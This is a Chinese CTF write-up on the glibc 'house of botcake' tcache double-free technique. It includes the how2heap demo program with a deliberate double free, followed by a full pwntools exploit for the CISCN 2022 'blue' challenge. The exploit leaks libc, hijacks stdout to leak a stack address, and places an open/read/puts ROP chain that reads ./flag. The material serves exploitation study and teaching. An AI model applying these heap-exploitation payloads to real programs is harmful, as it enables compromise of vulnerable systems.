house_of_botcake

First Post:

Last Update:

glibc高版本2.27之后,简单的tcache bin double free不能实现
因为引入了对tcache key的检查
如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);}
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

当 free 掉一个堆块进入 tcache 时
假如堆块的 bk 位存放的 key == tcache_key
就会遍历这个大小的 Tcache,假如发现同地址的堆块,则触发 Double Free 报错。

以下程序来自how2heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
//gcc botcake.c -g  -o botcake 
//gcc 2heap.c -g -no-pie -no-stack-protector -o heap2stack
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);//不让_IO_FILE干涉我们的堆块

// prepare the target
intptr_t stack_var[4];
printf("the target address is %p.\n\n", stack_var);

intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}//准备塞满tcache
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);//prev
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);//victim
printf("malloc(0x100): a=%p.\n", a);

malloc(0x10);//防止合并

for(int i=0; i<7; i++){
free(x[i]);
}//填满tcache

free(a);//victim 2 unsortedbin

free(prev);//free掉prev 使其与victim合并

//申请出一个堆块,此时会优先从 Tcache 中取出一个填充堆块腾出位置。然后再 Free 掉 victim ,victim 进入 Tcache,完成 Double Free
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/

//此时造成堆重叠,一个大的unsortedbin包含一个小的tcachebin
//申请一个比victim大的堆块,可以篡改victim的fwd(next)指针
intptr_t *b = malloc(0x120);
b[0x120/8-2] = (long)stack_var;

// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);

// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\n\n");

//值得注意的是,一次篡改过后,我们可以free掉victim和执行篡改的堆块,再次申请执行篡改的堆块即可再次篡改victim的next指针,多次进行Tcache Poinsoning
return 0;
}

运行结果

实际使用看例题

[CISCN 2022 华东北]blue
一键四连


check,每次进menu前都会检查malloc_hook free_hook有没有被劫持
检查不通过就会调用_exit(不能用exit_hook劫持)


add限制size <=0x90


del是一个正常的delete,无UAF


show仅可以调用一次


输入666可以进入仅有一次的UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#prepare house of botcake 
for i in range(9):
add(0x80, b'aa')

add(0x80, b'aa')

for i in range(7):
delete(i)

magic(8)
#show(8)

delete(7)
add(0x80, b'aa') #0
delete(8)#unsortedbin 合并
add(0x70, b'bb') #1 分割unsortedbin

准备house_of_botcake(此处忽略leak_libc_base)

1
2
3
4
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
p1 = p64(0) + p64(0x91) + p64(stdout) #hijack stdout
add(0x70, p1) # 2 overlapping
add(0x80, b'cc') # 3

利用堆重叠,将堆块分配到stdout处


,此时的堆结构,三个堆块叠叠乐

1
2
3
4
5
environ = libc_base + libc.sym['environ']
p2 = p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) * 2 #stdout -> environ leak stack_addr
add(0x80, p2) #4

stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x128#add返回的地址

借助stdout泄露environ中的栈地址,以此获得add的ret地址
这两步实际上是覆写了stdout中的flags标志(绕过检查),以及将write_base和write_ptr & write_end改成environ和environ + 8

1
2
3
4
5
6
delete(3)
delete(2)

p3 = p64(0) + p64(0x91) + p64(stack_addr) #再次任意申请申请到栈上
add(0x70, p3)#2
add(0x80, 'dd') #3

再打一次tcache poisoning,把下一个堆块分配到栈上

1
2
3
4
5
6
7
8
9
10
p4 = b'./flag\x00\x00'
# open('./flag', 0)
p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)

# read(3, stack_addr + 0x200, 0x50)
p4 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stack_addr + 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)

# puts(stack_addr + 0x200)
p4 += p64(pop_rdi_ret) + p64(stack_addr + 0x200) + p64(puts_addr)
add(0x80, p4)#ret2stack(确实)

在栈上布置orw的ropchain,由于add的ret地址已经遭到篡改,ret的时候会直接跳到栈上执行ropchain
本地打通:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import*
from pwn import p64,u64
#p = remote('node4.anna.nssctf.cn',28672)
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(os='linux', arch='amd64', log_level='debug')

def debug():
gdb.attach(p)
pause()

def add(size,payload):
p.recvuntil('Choice: ')
p.sendline(b'1')
p.recvuntil(b'Please input size: ')
p.sendline(str(size))
p.recvuntil(b'Please input content: ')
p.send(payload)

def delete(index):
p.recvuntil("Choice: ")
p.sendline(b'2')
p.recvuntil(b'Please input idx: ')
p.sendline(str(index))

def show(index):
p.recvuntil("Choice: ")
p.sendline(b'3')
p.recvuntil(b"Please input idx: ")
p.sendline(str(index))

def magic(index):
p.recvuntil("Choice: ")
p.sendline(b'666')
p.recvuntil(b"Please input idx: ")#one_UAF_chance
p.sendline(str(index))

#prepare house of botcake && leak libc base
for i in range(9):
add(0x80, b'aa')

add(0x80, b'aa')

for i in range(7):
delete(i)

magic(8)
show(8)

show_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('show_addr = ' + hex(show_addr))

libc_base = show_addr - 0x1ecbe0
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
success('stdout = ' + hex(stdout))
environ = libc_base + libc.sym['environ']
success('environ = ' + hex(environ))

delete(7)
add(0x80, b'aa') #0
delete(8)#unsortedbin 合并

add(0x70, b'bb') #1 分割unsortedbin
p1 = p64(0) + p64(0x91) + p64(stdout) #hijack stdout
add(0x70, p1) # 2 overlapping
add(0x80, b'cc') # 3
debug()
p2 = p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) * 2 #stdout -> environ leak stack_addr
add(0x80, p2) #4

stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x128#add返回的地址
success('stack_addr = ' + hex(stack_addr))

delete(3)
delete(2)

p3 = p64(0) + p64(0x91) + p64(stack_addr) #再次任意申请申请到栈上
add(0x70, p3)#2
add(0x80, 'dd') #3

read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']

pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
flag_addr = stack_addr

p4 = b'./flag\x00\x00'

# open('./flag', 0)
p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)

# read(3, stack_addr + 0x200, 0x50)
p4 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stack_addr + 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)

# puts(stack_addr + 0x200)
puts_addr = libc_base + libc.sym['puts']
p4 += p64(pop_rdi_ret) + p64(stack_addr + 0x200) + p64(puts_addr)
add(0x80, p4)#ret2stack(确实)

p.interactive()